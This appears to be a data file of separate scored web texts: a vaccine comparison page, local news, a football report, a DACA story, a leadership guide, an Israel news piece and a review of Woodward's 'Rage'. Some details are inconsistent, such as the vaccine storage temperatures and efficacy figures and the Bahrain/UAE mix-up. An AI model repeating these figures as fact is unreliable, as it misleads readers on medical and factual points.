instruction set to make the spike protein. Then the spike protein causes the immune response to make antibodies and activates T cells, B cells, etc. What is Pfizer? Pfizer is an mRNA vaccine used against COVID-19 disease. This vaccine was made by Pfizer-BioNTech company in 2020. It is also called “Tozinameran or BNT162b2”. This vaccine is approved for people who are 12 years of age or older. Health Canada first authorized this vaccine with conditions in December 2020. The vaccine uses an mRNA that human cells read to make proteins. To protect the mRNA vaccine, Pfizer-BioNTech wraps the mRNA in oily bubbles made of lipid nanoparticles before delivery to the cell. Figure 02: Pfizer The cell reads the mRNA sequence and builds spike proteins. Then the mRNA from the vaccine is eventually destroyed by the cell. Later, these spike proteins are recognized by the immune system. This causes immune responses (antibody production and T cell and B cell activation) and protection from COVID19 infection in future. Pfizer mRNA vaccine has a 95% efficacy. Furthermore, this vaccine should be stored in an ultra-cold freezer between -80 °C and -60 °C temperatures. What are the Similarities Between AstraZeneca and Pfizer? Both are types of vaccines. They are both used against the COVID19 virus. Both have approximately 90% efficacy. These vaccines use genetic material such as DNA or mRNA. They show side effects. What is the Difference Between AstraZeneca and Pfizer? AstraZeneca is a DNA vaccine used against COVID19 disease. Pfizer is an mRNA vaccine used against COVID19 disease. So, this is the key difference between AstraZeneca and Pfizer. Furthermore, AstraZeneca can be stored in normal refrigerator temperatures, such as between 36 °F and 46 °F. In contrast, Pfizer should be stored in sub-zero temperatures, such as between -4 °F and -94 °F. The below infographic tabulates the differences between AstraZeneca and Pfizer vaccines for side by side comparison. Summary – AstraZeneca vs Pfizer There are many vaccines simultaneously in the pipeline for COVID 19 infectious disease. AstraZeneca and Pfizer are two vaccines that are listed in the WHO emergency use listing (EUL). AstraZeneca is a DNA vaccine, while Pfizer is an mRNA vaccine used against COVID19 disease. So, this is the summary of what is the difference between AstraZeneca and Pfizer. Reference: 1. Smith, Jake. “Here’s How the AstraZeneca COVID-19 Vaccine Compares to Those Available in the U.S.” Prevention, 3 May 2021, Available here. 2. “Pfizer-BioNTech COVID-19 Vaccine Overview and Safety.” Centers for Disease Control and Prevention, Centers for Disease Control and Prevention, Available here. Image Courtesy: 1. “COVID-19 AstraZeneca Vaccine vial and NHS record card” By Rwendland – Own work (CC BY-SA 4.0) via Commons Wikimedia 2. “Pfizer-BioNTech COVID-19 vaccine (2020) D” By U.S. Secretary of Defense – (CC BY 2.0) via Commons Wikimedia Related posts: Difference Between Hypothyroidism and Hyperthyroidism Difference Between Insomnia and Sleep Apnea Difference Between Anorexia and Anorexia Nervosa Difference Between Hypoxia and Ischemia Difference Between Cystic Fibrosis and Pulmonary Fibrosis Filed Under: Diseases About the Author: Samanthi Dr.Samanthi Udayangani holds a B.Sc. Degree in Plant Science, M.Sc. in Molecular and Applied Microbiology, and PhD in Applied Microbiology. Her research interests include Bio-fertilizers, Plant-Microbe Interactions, Molecular Microbiology, Soil Fungi, and Fungal Ecology. Leave a Reply Cancel reply Your email address will not be published. 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0.999043	By summer Enid residents can visit Enid’s newest family friendly sports grill and bar, Buffalo Wild Wings. Ed Lynn, owner, received his building permit from the city of Enid last week and plans to start building by next week when the first land will be cleared. The store will be located at 2126 N. Van Buren. Lynn estimated four months construction for the 14,000-square-foot building. He said Thursday the retail building housing the restaurant will be 180-feet wide and 80-feet deep. It will be anchored on the north end by the 6,400-square-foot Buffalo Wild Wings. He is negotiating with another business to rent part of the building, which will leave four retail bays available for rent. He anticipates opening in mid- to late-May this year. Lynn owns another Buffalo Wild Wings business on Northwest Expressway in Oklahoma City and is the franchise holder for Oklahoma. He said he wanted to open another store, and the Buffalo Wild Wings company identified Enid, among others, as a good market. He looked at other areas but selected Enid based on the general demographics study done by the company. “Enid is good geographically, the size, 50,000 people, is more than enough, and then you look at the demographics and the income available and eating expenditures of people in Enid,” he said. “The Air Force base enhances the demographics for us. It’s a great community gathering place, and Enid is a great sports town,” Lynn said. Lynn said the Buffalo Wild Wings brand is a family friendly sports bar specializing in wings, but the restaurant also serves hamburgers, wraps, salads and other dishes, along with 20 beers and a full bar. The franchise will feature a comprehensive audio-visual system, which is 100 percent high-definition. There will be about 38 televisions, eight of them big screens, he said, with cable and satellite systems. Lynn said Buffalo Wild Wings subscribes to every sports package available, including NFL Sunday Ticket, ESPN Game Day and other packages. He emphasized the restaurant is kid-friendly, with coloring books at the tables and a “buzz time” trivia games available to take to the table. A general contractor from Indiana is building the store and using a number of local subcontractors. “We’re excited about Enid, and Buffalo Wild Wings is a great brand,” Lynn said. React to this story: Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Trending Video Recommended for you COUPON DEALS NEWSPAPER ADS Trending Recipes This Week's Circulars Obituaries Reeves, Vernon The services celebrating and honoring the life of Vernon S. Reeves are pending under the direction of Brown-Cummings Funeral Home. Condolences may be shared online at www.Brown-Cummings.com. Morris, Luvena Luvena Ann Morris passed away December 1, 2021. Services are pending with Ladusau-Evans Funeral Home. Long Sr., Joel Services honoring the life of Joe Long Sr. will be held 2:00 p.m. Friday December 3, 2021, in the North Garland Church of Christ under the direction of Brown-Cummings Funeral Home. Condolences may be shared at www.Brown-Cummings.com. McCune, Jerry The open visitation for Jerry McCune, 75, of Enid, will be held from December 2, 2021, through December 4, 2021, in the Brown-Cummings Funeral Home Chapel. Condolences may be shared with the family online at www.Brown-Cummings.com. Apala-Shelton, Joyce March 24, 1958 - November 27, 2021 Celebration of life services for Joyce, 63, of Oklahoma City, formerly of Enid, will be 2 p.m. Saturday, December 11, 2021, at New Beginning Family Church, 1720 S. Bryant, Del City. Most Popular Articles Images Videos Commented Articles Chisholm faces kindergarten teacher shortage after 2 resign the same day Tree-lighting, holiday events bring tens of thousands to Enid Vance's missing plane possibly found, Enid pastor says Medical marijuana industry growing in Oklahoma, 'changing lives' Osage County landowner objecting to Kaw Lake condemnation award in Thursday hearing Welsh expected to step down as Longhorns head coach Tigers get their revenge, mercy-rule Tyrone 64-14 Man arrested on 10 counts of possession of child pornography EPD officer completes 400 hours of polygraph training Reports: USC to hire coach Lincoln Riley away from Oklahoma Images Videos Commented Sorry, there are no recent results for popular commented articles. Stay up to date on COVID-19 Get Breaking News Sign up now to get our FREE breaking news coverage delivered right to your inbox. Sign-up First Amendment: Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances.
0.997768	Fiona checks that universities remain good value for money despite COVID-19 restrictions \| Fiona Bruce Skip to main content Fiona Bruce MP Working hard for Congleton Main navigation Home About Fiona My Plan News I Believe In Parliament Campaigns Coronavirus Religious Freedom Contact Fiona checks that universities remain good value for money despite COVID-19 restrictions Tweet Tuesday, 1 September, 2020 With results day and new academic terms looming, Fiona asked the Secretary of State for Education at the end of July what steps were being taken to ensure that university students received value for money during the COVID-19 lockdown restrictions. See the full question and answer below: "To ask the Secretary of State for Education, what steps the Government is taking to ensure that students receive value for money for university courses during the covid-19 lockdown restrictions." Michelle Donelan MP, on behalf of the Secretary of State for Education, responded: "This is a difficult and uncertain time for students, but the government is working with the higher education sector to make sure that all reasonable efforts are being made to enable students to continue their studies. We have seen some fantastic and innovative examples of high-quality online learning being delivered by providers. The government expects universities to continue delivering a high-quality academic experience and to help students to achieve qualifications that they and employers value. We expect that higher education providers will be open for the autumn term, with a blend of online teaching and in-person tuition that they consider to be appropriate and in line with public health advice. To help providers make informed decisions about their provision in ways which minimise the risk to staff and students, the government has issued guidance for providers on reopening campuses and buildings: https://www.gov.uk/government/publications/higher-education-reopening-buildings-and-campuses/higher-education-reopening-buildings-and-campuses. The government is working with the Quality Assurance Agency for Higher Education, professional bodies and the Office for Students (OfS), the higher education regulator in England, to ensure that students continue to leave university with qualifications that have real value. The OfS has produced guidance on practical ways in which students can complete their studies whilst ensuring that quality and standards are upheld. The guidance is available at the following link: https://www.officeforstudents.org.uk/publications/guidance-for-providers-about-quality-and-standards-during-coronavirus-pandemic/. It is an OfS registration condition that providers must deliver well-designed courses that provide a high-quality academic experience for all students and that enable a student’s achievement to be reliably assessed. If providers are unable to facilitate good online tuition, they should seek to avoid charging students for any additional terms that they may need to undergo as a consequence, avoiding effectively charging them twice. Whether or not an individual student is entitled to a refund of fees will depend on the specific contractual arrangements between the provider and student. If a student is concerned about their education, they should speak to their higher education provider in the first instance. The government expects student complaints and appeals processes to be operated flexibly, accessibly and sympathetically by higher education institutions to resolve any concerns. Students who are not satisfied with their provider’s final response can ask the Office of the Independent Adjudicator for Higher Education to consider their complaint if their institution is based in England or Wales." Reports Written Questions News You may also be interested in Congleton Drive-in Carol Service Friday, 3 December, 2021 "Looking forward to this year’s Congleton Drive-in Carol Service at Tesco’s Car Park, 6.30 pm Sunday December 5th, and a huge thank you to New Life Church for organising this and for all you do for local people." - Fiona Bruce MP Show only Articles European News Local News Opinions Reports Speeches Speeches in Parliament Westminster News Written Questions News Fiona Bruce MP for Congleton Footer About RSS Accessibility Cookies Privacy About Fiona Bruce In Parliament Promoted by Rhoda Bailey on behalf of Fiona Bruce MP, both at 15 Woburn Drive, Congleton, Cheshire CW12 3SS.
0.999998	Cesc Fabregas scored a goal in each half to finally secure a top four finish for Arsenal – and leave manager Arsene Wenger lavishing more praise on his returning captain. The Spaniard started and finished off a flowing move to drill home the opener from A Cesc Fabregas scored a goal in each half to finally secure a top four finish for Arsenal - and leave manager Arsene Wenger lavishing more praise on his returning captain. The Spaniard started and finished off a flowing move to drill home the opener from Andrei Arshavin's pullback on 26 minutes, his first league goal since October 4, as Arsenal dominated a Middlesbrough side heading for a tenth successive away league loss. 'Boro briefly threatened when they were denied a penalty after Stewart Downing sent over a corner and the ball appeared to hit Nicklas Bendtner on his upper arm. Referee Chris Foy waved play on - much to the Middlesbrough players fury. But Arsenal were always the more likely scorers and a second goal game halfway through the second half when Fabregas latched on to Emmanuel Eboue's through ball and he rounded Boro 'keeper Brad Jones before steering the ball home. Abou Diaby could have added a third but shot into the side-netting as Arsenal extended their unbeaten league run to 20 matches. Most Read expand_more More 1 Bus collides with lamppost in Muswell Hill crash 2 Stephen Mangan has Crouch End pupils 'in stitches' 3 Developer told to dig up granite slabs at Hornsey Town Hall Square 4 George Michael estate helps fund Highgate Christmas lights 5 Hampstead Heath to host first Christmas Fayre 6 Christmas at Kenwood feels like walking in a winter wonderland 7 Deliveroo puts in retrospective application for permanent 'dark kitchen' 8 Villa Bianca brings the Christmas cheer to Hampstead 9 Covid-19: Omicron cases confirmed in Haringey and Barnet 10 Infected Blood Inquiry: Transfusion centre was 'disaster zone' "He (Fabregas) gets sharper and sharper in every game," said Wenger, who deliberately played his captain in a more forward position on his seventh game since returning from injury. "He was out for three months and you don't come back at your best straight away. But now he gets better in every game. Every player who plays in midfield, who thinks they are creative and offensive, needs to score goals. That happened to him today..." And with fourth place, at least, in the bag, the manager set his sights on those above him. "We want to catch Chelsea and we will give absolutely everything in the last four games. We play Chelsea at home so you never know." 1 Become a Supporter This newspaper has been a central part of community life for many years. Our industry faces testing times, which is why we're asking for your support. Every contribution will help us continue to produce local journalism that makes a measurable difference to our community.
0.999987	US President Joe Biden on Saturday denounced as "deeply disappointing" a federal judge's decision curbing a program that protects undocumented migrants brought to the country as children. In a statement from the White House, Biden said the Justice Department would appeal the ruling by Texas-based Judge Andrew Hanen, while adding that "only Congress can ensure a permanent solution by granting a path to citizenship for Dreamers," the young people brought to the US as children. DACA supporters received a temporary reprieve in June 2020 when the Supreme Court ruled in a 5-to-4 vote that the Trump administration had not provided sufficient justification for its attempts to end the program. It made clear it was ruling largely on procedural issues, and left open the possibility of further challenges. Hanen's ruling was limited, however. It is unclear how the nine high court justices might rule if the case again reaches them. The Deferred Action for Childhood Arrivals program, instituted by then-president Barack Obama in 2012, covers around 700,000 people, conferring legal status on them, as well as the right to work. For many, America is the only country they have ever known. In his ruling, Hanen said Obama exceeded his authority when he instituted DACA by executive order. He called the order "unlawful." The government must stop accepting people to the program, Hanen said, though he added it could still receive applications. He said the ruling did not require the Department of Homeland Security or Department of Justice to "take any immigration, deportation, or criminal action against any DACA recipient, applicant, or any other individual that it would not otherwise take." The ruling also did not immediately affect the status of people already accepted to the program. Deferred Action for Childhood Arrivals (DACA) covers about 700,000 people known as Dreamers who were brought or sent to the United States as children Photo: AFP / Sandy Huffaker To apply for DACA protection applicants must have arrived in the United States before age 16. Applicants must be in school or have a high school degree or equivalent, or have been honorably discharged from the military and have a clean criminal record. In 2017, as part of his far wider push to limit immigration, then-president Donald Trump tried to dismantle DACA, insisting Obama had exceeded his constitutional powers. That triggered the lengthy court battle that brought the case to the high court last year. DACA was subsequently reinstated. Since taking office, Biden has looked to strengthen the program, as well as initiate wider immigration reform. Democrats in Congress have pushed for legislation that would permanently settle the status of the childhood arrivals, but immigration policies have long stalled in the face of Republican opposition. In a tweet on Saturday, Obama echoed Biden's call for Congress to find a permanent solution for the Dreamers. "For more than nine years, DREAMers have watched courts and politicians debate whether they'll be allowed to stay in the only country many of them have ever known. It's long past time for Congress to act and give them the protection and certainty they deserve," he wrote. After Friday's ruling, House Speaker Nancy Pelosi called on Republicans in Congress "to join us in respecting the will of the American people and the law, to ensure that Dreamers have a permanent path to citizenship."
0.999998	Leadership is not just a job position or title. Being a leader is about inspiring people and leading them to success. There are several good leadership qualities that can make anyone an extraordinary leader. It is a challenge to lead several people and motivate them to accomplish a goal, but with the right skills and an undying determination, leaders are able to drive change in the hearts of their team members. Such soft skills are also highly sought after by employers. Read on to find out what are the various soft skills that can turn any ordinary team leader into an extremely respectable mentor. Here's what this article will cover: What are leadership skills? Some skills that make a strong leader include What makes a good leader? Leadership styles to consider How to identify your leadership style How to develop your leadership skill How to develop your leadership skills outside of work? How to highlight leadership skills when applying for jobs? What are leadership skills? Any leadership role comes with its share of responsibilities. Such a critical position requires one to possess certain qualities in order to be successful. These are classified as leadership skills. Some effective leadership skills include strategic thinking, people management, and confidence. How do Leadership skills help in career development? Whether you are working in an executive, managerial, or supervisory position or aspire to do so, you have to work on improving your leadership skills. These soft skills are essential for the advancement of your career. Going through a leadership development training program will help you stand out from the competitors. It will also improve the quality of relationships that you have with people, which is crucial for creating a strong professional network. Some skills that make a strong leader include Leadership can only be perfected with time and experience. Being a leader requires one to develop leadership skills that are included below. Patience Empathy Being an active listener Trustworthiness Accountability Creativity Giving and receiving feedback Positive attitude Good at communication Relationship building Flexibility Ability to teach What makes a good leader? There is no defined way to be a good leader. One has to be good at adapting according to the situation. Since a lot of responsibility lies on them, a leader has to be focused and honest. They need to have confidence in their own beliefs and have what it takes to make difficult choices. Other important leadership skills are having a clear vision, being good motivators, and having a strong ability to judge people. They need to be familiar with the strengths and weaknesses of their subordinates. Top leadership skills If you are looking for various ways to advance your career, you must work on the following good leadership qualities that are essential in the workplace- Decision making Being able to make important decisions quickly is a trademark of a strong leader. This is a quality that can only be perfected with time and experience. A decisive leader can improve the efficiency of the team’s operations. Some leadership strengths that can improve your decision-making ability are- Being good at solving problems Taking initiative Good at research and evaluation Integrity Every company aspires to have a strong positive image. The integrity and values of leaders are crucial to ensure that they make only ethical decisions that do not harm the image of the organization. A leadership skills list that can help bring integrity in the workplace- Diplomatic Professionalism Confidentiality Honesty Collaboration Management Interpersonal relations Social activities Active listening Teamwork Ability to solve problems Several challenges may come up during the operations. This is why the team leader must be great at problem-solving in order to ensure a smooth and hassle-free flow. Some qualities of a leader who is an excellent problem-solver- Critical thinking Analytical and research skills Ability to make quick decisions Accountability The team leader has to set a high standard for the members by displaying exemplary behavior. They need to be dependable and follow through with the promises that they make. They need to- Set realistic and achievable goals Have integrity Meet deadlines Take initiative Pay attention to details Be loyal and truthful Be a good teacher It is crucial for the mentor to patiently and effectively teach their subordinates. Some important leadership skills that make a leader a good teacher are- Motivating Able to recognize Rewarding Understand the differences between employees Assessing Helpful Positive reinforcement Active listening Articulating Good at storytelling Being clear and concise Correspondence Excellent at communication It is important for the leader to be able to convey their ideas and instructions to the team in the best possible way. The flow of information between the team members and the leaders has to be consistent and clear. The following traits make a leader good at communicating- Active listening Explaining Expression Facilitating group conversations Nonverbal communication Presentation Public speaking Reading body language Removing any ambiguity Verbal communication Written communication Deputing tasks and responsibilities A good leader never tries to take all the responsibility into their own hands but rather delegate it properly to the respective team members. They are aware of the strengths and weaknesses of their employees and assign them tasks as per that. Accepting feedback from employees Allotting resources for employees Assessing employee strengths and weaknesses Defining expectations Evaluating employee performance Identifying measurable outcomes Matching the task to the right employee Prioritizing tasks Setting expectations Teamwork Time management Training Trust in employees Have a positive mindset Creating a positive environment for the members is also the responsibility of the leader. They are responsible for boosting the morale of the employees and help the team members get through stressful situations. To keep a positive mindset, you need to possess the following qualities- Caring Conflict management Developing rapport Diplomacy Encouragement Empathy Friendliness Helpfulness Humor Respect Reliable The reliability of the leader is crucial to earn the respect of the team members. They need to be honest and open to any concerns or queries. The following leadership skills encourage reliability: Ability to apologize Accountability Business ethics Confidentiality Consistent behavior Credibility Emotional intelligence Empathy Honesty Integrity Moral compass Reliability Respectfulness Ethics Thoughtful Think outside the box As a leader, you are expected to come up with creative solutions for issues that might be affecting the performance of your time. This requires you to possess the following leadership qualities - Analytical Cognitive flexibility Conceptualization Critical thinking Curiosity Embracing different cultural perspectives Foresight Identifying patterns Imaginative Innovative Listening to others’ ideas Making abstract connections Observation Open-mindedness Problem-solving Sound judgment Synthesizing Visionary ‍ Leadership styles to consider Coach- A leader pays attention to the strengths and weaknesses of every individual team member follows the coach leader style. This involves providing regular feedback and encouragement to the team members. A coach helps the team members in setting smart goals and accomplishing them. Visionary- Visionaries lead the team by creating a bond and a trusting relationship with the team members. Such a person has the best leadership qualities for forming a strong organizational bond within the employees. Servant- These are the most respected type of leaders as they tend to put the satisfaction of the people first. They are great at re-kindling the motivation in the team members and improving their morale. Autocratic- Contrary to the servant style, the autocratic leaders focus solely on the results. They aim at maximizing the efficiency of the team and have strict guidelines that the team members have to adhere to. Hands off- When the team members are well-experienced and do not require much oversight, the leader can adopt the hands-off style, which involves delegating most of the work to the members. Participative- This involves the participation of the team members to provide input in various decisions. This style encourages creativity, critical thinking, and engagement. Transformational- Just like the coach style, this style also focuses on motivating the team members to achieve the goals of the organization. Transactional- This style works on a reward-punishment model. Bureaucratic- The bureaucratic leaders have a set of specific rules for all the members that they require to follow. Pacesetter- Pacesetter style yields fast results as the team is held accountable. This style works best for a fast-paced industry. How to identify your leadership style Now that you are aware of all the great leadership styles that exist, you can figure out your own style. Observe how you lead. What do you prioritize- results or people? Analyze how you lead people. Find out all the characteristics of your leadership style. This could include how good you are at delegating, whether you can produce timely results and how engaged your team is etc. You also need to decide if the current style is working well for you or if you need to turn some things around. Find out which style works the best for you by trying out new strategies and observing their effects on your team. How to develop your leadership skills? Look for resources about leadership- There are several self-help books available that talk about leadership qualities and how to develop them. You can also read about various great leaders and take lessons from their lives. Many podcasts also talk of such leadership skills and effective ways to inculcate them in your life. Attend workshops and training courses- There are plenty of leadership development training courses that you can attend. These sessions help you develop such skills through activities such as role-playing. Look for leadership opportunities everywhere- If you are not in a leadership position, there is a high chance that you might not get enough opportunities to work on your leadership skills. This is why you need to find opportunities outside of work, such as organizing events or casual outings with your coworkers. How to develop your leadership skills outside of work? Join leadership courses- There are several online and offline courses that specialize in teaching people about leadership. Enroll in one such course and learn effective leadership qualities that will help you become a successful leader. Join an existing group- Join an existing group as a leader and practice your skills to bring improvement in their performance. Start a new team- You can practice your leadership skills by forming a group of your own and engaging in team-building activities such as competitive sports. Be observant- Whenever you come across someone who is an exceptional leader, make sure you pay attention to the qualities that make them so great. Observe their leadership style and try to achieve that in your life. Learn from an expert- The best way to develop leadership skills is to learn from a mentor. Find a leader you admire and request them to help you develop these qualities. How to highlight leadership skills when applying for jobs? Many employers prefer candidates with a strong background in leadership roles. Leadership skills to include in a resume- The skills and achievement section of your resume should speak of your leadership skills and any relevant role that you have played. Highlighting leadership skills in a cover letter- Whenever you apply for a job, make sure that your cover letter includes all your top leadership qualities and experiences. Since this is your first chance to come across as a strong candidate, make sure to include every role that proves that you are capable of being a successful leader. Recommended Posts The Complete Guide to Writing a Mailing Address How to Write the Best Career Objective in Your Resume: With Examples and Tips Productive Ways to Cope with Failure All Posts Ready to Enroll? Get your enrollment process started by registering for a Pre-enrollment Webinar with one of our Founders.
0.950587	Is there no balm in Gilad? Can no physician be found? Why has healing not yet Come to my poor people? Jeremiah 8:22 (The Israel BibleTM) From left to right: Crown Prince MBZ an Princess Shaikha Fatima bint Khalifa Share this article A former Druze Knesset member expressed his belief that a fairytale story in which the life of an Arab princess was saved opened up the doors to the normalization of relations between the United Arab Emirates and Israel. Ayoub Kara: Secret Meetings to Save Bahrain Princess In his virtual address to the Israeli-Palestinian Economic Forum on Tuesday, Ayoub Kara, an Israeli Druze who was a member of the Knesset for Likud and served as Minister of Communications, related the remarkable story that took place ten years ago. “I believed in 2010 that we had an opportunity to [have] good relations with the Gulf states,” Kara told the forum. “This was the beginning of the process.” Shaikha (Princess) Fatima bint Khalifa, the eldest daughter of His Highness Shaikh Salman bin Hamad Al Khalifa, the former Ruler of Bahrain, became sick in 2010. At the time, Kara was Israel’s Deputy Minister for Regional Cooperation. The US invited her to be treated there but she expressed a preference for treatment in Israel. At the time, there were no official relations between the two countries. The royal family’s request was transmitted via Kara and her treatment in Israel was approved by Prime Minister Netanyahu. “In Bahrain, they didn’t really give her a chance to survive,” Kara told The Times of Israel in 2010. “At the end, we received her here, she underwent an operation, and subsequently even spent some time [at a rehabilitation center] in Nesher next to Haifa.” Many of the details surrounding her illness and treatment were never released to the media but it is believed she stayed in Israel for about two months. Medical Mercy Leads to Political Connection In gratitude, Bahraini officials invited Kara to discuss how Israel and the Sunni Arab states could further intensify their cooperation. “The relationship with the Saudi[-led] coalition is very important to us,” he said after the meeting. “The entire Saudi[-led] coalition wants stronger ties because the dangers they face are the same as Israel. This danger is Iran. We have many things in common today.” Recent Headlines The Hatred is Increasing Report: Iran accelerated its deployment of advanced centrifuges Hanukkah sets new record for Jews ascending to pray on Temple Mount: 11,000 since beginning of the year UN celebrates Hanukkah by declaring Temple Mount exclusively Muslim and Israel “illegal” in Jerusalem Haifa research: Gut bacteria may determine whether you are a day person or a night person Biden’s Bizarre White House Hanukkah Ceremony Cyber attacks bring Israeli, American intelligence community closer Iran blames Israel ‘lies’ as way to ruin nuclear-deal talks Trending Topics Alleviating Poverty Antisemitism Biblical News Christian Zionism Coronavirus Holocaust IDF Inspiration Jerusalem Jewish World Judea and Samaria Medical Miracles Middle East News Videos Opinion Terror Watch Uncategorized US-Israel Relations Weekly Torah Portion Jerusalem IDF Coronavirus Medical Miracles Terror Watch Videos Bless Israel SHOP About Israel365 News Israel365News offers a fresh and Biblical perspective on the latest news from Israel and the Middle East.
0.999956	No reader should skip the prologue to Bob Woodward's new book on President Trump, because the author puts his best scene on its first page. Woodward's Rageopens on the Oval Office, where the two top officials from the president's national security team are telling him that COVID-19 is a major threat to the U.S. and far worse than the flu. "This will be the biggest national security threat you face in your presidency," says Robert O'Brien, the national security adviser (Trump's fourth). "This is going to be the roughest thing you face." O'Brien's statement makes the president's head "pop up," but it is immediately seconded by O'Brien's principal deputy, Matt Pottinger, whom Woodward reports was also present. Pottinger is a China scholar and former intelligence officer in the Marines who had lived in China seven years and spoke fluent Mandarin. / Simon & Schuster <em>Rage</em> by Bob Woodward The date on this conversation leaps out from the book's very first sentence: Jan. 28. O'Brien and Pottinger were elevating the issue because days earlier Trump had dismissed the virus at a conference in Switzerland: "It's one person coming in from China," Trump had said. "We have it under control. It's going to be just fine. We've already handled it pretty well." Three days later, urged on by O'Brien and Pottinger and a chorus of scientists including Dr. Anthony Fauci and the Centers for Disease Control and Prevention's Dr. Robert Redfield, Trump ordered a shutdown of travel from China to the United States. He would later claim, in interviews with Woodward and elsewhere, that he made this move in defiance of his closest advisers. Woodward has Trump saying there had been a score of advisers present and "everyone in that room except me did not want to have that ban." "I always wanted to play it down" Woodward also makes clear that Trump knew early on that the disease could be spread without physical contact and could be transmitted by people showing no symptoms of infection. "It goes through air," he told Woodward in a Feb. 7 phone call not previously reported. "So that's a tricky one. That's a very delicate one. It's also more deadly than even your strenuous flus." At another point in the Feb. 7 conversation, Trump says COVID-19 could be deadlier than the flu, "maybe five times more deadly." Stunning, because throughout the crucial month of February the president was sending a totally different signal to the American public. The same week he talked to Woodward, Trump in public uttered his now infamous lines about how "when it gets a little warmer it miraculously goes away" and "I think it's going to work out good, we only have 11 cases and they're all getting better." Throughout the month, he bragged of limiting the invader to a handful of cases that were "all getting better" and would "soon be down to zero." On Feb. 28, at a rally in South Carolina, he called Democrats' criticism of his handling of the virus "their new hoax." Attendees at the rally told reporters they thought the whole story of the virus was a media creation. The following day, the first U.S. death was announced, and Trump opened his news conference talking about progress in Afghanistan. Woodward quotes a subsequent interview on March 19, wherein Trump says: "I always wanted to play it down. I still like playing it down, because I don't want to create a panic." Where did Woodward get these arresting statements? They were part of a series of interviews Trump granted the venerable journalist from The Washington Post — a total of 17 in all, stretching from December to late July. Was there no one in Trump's communications office to question this commitment of the president's time? Who but Trump could have arranged 17 interviews with a man who had written critically of eight presidents, including an earlier book characterizing Trump as unprepared and unfit for his office, a national disaster waiting to happen? "Pray to God we don't have a crisis," Woodward said when Fearfirst appeared. Curiously, the earlier Woodward book featured zero interview material from Trump — there had been no interview. The president said his staff had not told him of Woodward's many requests. This time around, as though to compensate and produce a better narrative, Trump goes to the opposite extreme. ("Let's see if we can get a good book," he says. "That is, if you're willing to write it.") At times the interviews are in the White House, at times they are impromptu calls the president places to Woodward's personal phone. At times, they seem serious interchanges; at times they are show-and-tell sessions to win the journalist over. Trump has what Woodward calls "props," such as a stack of parchment signifying judicial appointments, or a wall poster-size picture of Trump with Kim Jong Un. On one occasion, Trump orders his aide Dan Scavino to screen a video of Sen. Kamala Harris and other Democrats watching the State of the Union speech. Trump shouts: "Hate! See the hate!" Naming names This is Woodward's 20th book. The first was All the President's Men,the inside story of the reporting of Woodward and Carl Bernstein that led to criminal prosecutions and impeachment proceedings and the eventual resignation of President Richard M. Nixon nearly half a century ago. That work was, and remains, controversial for its reliance on unnamed sources. Woodward's subsequent decades of work have been widely acclaimed but also often been held at arm's length for their reliance on "blind quotes." But in this book, Woodward is making many, if not all, his sources plain. The stars are former Defense Secretary James Mattis and former Director of National Intelligence Dan Coats, both of whom had troubled tenures. (In Coats' case, he was removed from service by Trump via tweet while he was golfing at one of Trump's clubs.) Mattis had been conspicuous in his reticence to criticize the president. But he broke his silence this summer after mounted police cleared protesters from Washington's Lafayette Square so the president could have a photo opp in front of the neighboring St. John's Church. He said Trump was the first president he had served (of eight) who "had not even tried" to unite the country. Here, Mattis walks us through the president's troubled relations with experts of all kinds, especially military and foreign policy experts such as himself and former Secretary of State Rex Tillerson, who was also humiliated and denigrated upon his departure. Coats details his back-and-forth tension between loyalty to the chief executive and dismay at Trump's handling of facts and information. The president, he says, prefers to tell the story the way he prefers to see it — and the way he wants it told — regardless of the realities at hand. From among the president's intimates, the primary voices are his son-in-law, Jared Kushner, and Lindsey Graham, the senator from South Carolina. Though neither is directly critical of Trump, Woodward uses Kushner as a "reflector" of the central subject and Graham as a friend and adviser who has at least occasional points of disagreement with The Boss. Kushner offers up four things to read to understand Trump, one of which is Lewis Carroll's Alice's Adventures in Wonderland-- and his Cheshire Cat. Graham is characteristically intriguing, talking about his years of processing Trump's judicial appointments (a major trophy for the administration and Republican Senate). Graham says that "we've weeded out some real wackos" on the way to installing 300 nominees to the federal bench — where they all now have lifetime appointments. Graham also relates the concerns he has heard in "frequent conversations" with Chief Justice John Roberts, who he says "doesn't want the Court, I think labeled as a political party." Graham also criticizes the photo op at St. John's Church, across Lafayette Square from the White House, and the mounted police who cleared the square to make it possible. Graham says he scolded Trump and told him people didn't like the way he held up the Bible. "Christians liked it," Trump says, according to Graham, who says he's a Christian and did not. A plethora of tell-alls Trump books tend to fall in two categories. There are firsthand tell-alls penned by family and former associates, and then there are compendia of Trump stories compiled or witnessed by reporters and commentators. Woodward sold a great many copies of Fear, and this addition stands to dominate the latest crop as well. And it is a bumper crop. This month has already seen a scabrous collection from Michael Cohen, Trump's longtime personal attorney and fixer. Later this month we are expecting to hear from former national security adviser H.R. McMaster, who had been replaced by John Bolton, whose scathing review of Trump on the world stage came out over the summer. And there are the far more personal stories from Mary Trump, a psychologist who is the president's niece, and Stephanie Winston Wolkoff, the former staffer and best friend of first lady Melania Trump. Suffice it to say both share with a vengeance. All of this was already out or in the pipeline before The Atlanticpublished the story that has preoccupied much of the media for a week, quoting four unnamed sources who say the president referred to dead soldiers personnel as "losers" and "suckers." Are these books coming out now because the election is just eight weeks away? Yes, of course they are. Critical of the president in varying degrees of detail and high dudgeon, the books speak to those voters still making up their minds. They also reflect their authors' and publishers' sure knowledge that Trump books will sell better before the election than after (especially if he loses). Playing the audiotape Most of the later chapters in Rage are devoted to chronicling Woodward's 17 interviews with the president. Trump shifts from charming to combative, pleading for understanding and sympathy one moment and denouncing everyone in sight the next. But he is always selling, always pushing his narrative, always bending the reality. When Woodward asks in June about "white privilege" and whether they both should have more empathy for African Americans, Trump responds: "You really drank the Kool-Aid, didn't you? Just listen to you. Wow. No, I don't feel that way at all." In one exchange, Trump says he's No. 1 on Twitter and Facebook. Woodward interjects that Trump is ninth in followers on Twitter (below former President Barack Obama) and there are dozens ahead of him on Facebook. At another point, discussing how well he gets along with Turkey's brutish strongman Recep Tayyip Erdoğan, Trump seems almost reflective: "It's funny the relationships I have [with foreign leaders], the tougher and meaner they are the better I get along with them. You know? Explain that to me someday, okay?" Still, with all the distractions, COVID-19 comes to dominate the story, as it has come to dominate everything else. And on that basis alone, Woodward seems comfortable in his conclusion to his epilogue, which is far more conclusive than in Fear. The final sentence can be taken with the first sentence of the prologue as a frame for the entire book: "When his performance as president is taken in its entirety, I 